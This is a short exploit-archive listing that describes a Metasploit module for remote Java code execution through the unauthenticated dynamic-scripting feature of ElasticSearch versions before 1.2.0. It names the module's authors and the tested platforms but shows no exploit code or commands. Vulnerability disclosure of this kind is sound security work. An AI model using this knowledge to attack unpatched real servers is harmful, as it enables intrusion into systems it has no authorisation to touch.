ElasticSearch Dynamic Script Arbitrary Java Execution

ElasticSearch Dynamic Script Arbitrary Java Execution
Posted May 30, 2014
Authored by juan vazquez, Alex Brasetvik, Bouke van der Bijl | Site metasploit.com

This Metasploit module exploits a remote command execution vulnerability in ElasticSearch, exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the REST API, which requires no authentication or authorization, where the search function allows dynamic scripts execution, and can be used for remote attackers to execute arbitrary Java code. This Metasploit module has been tested successfully on ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3.
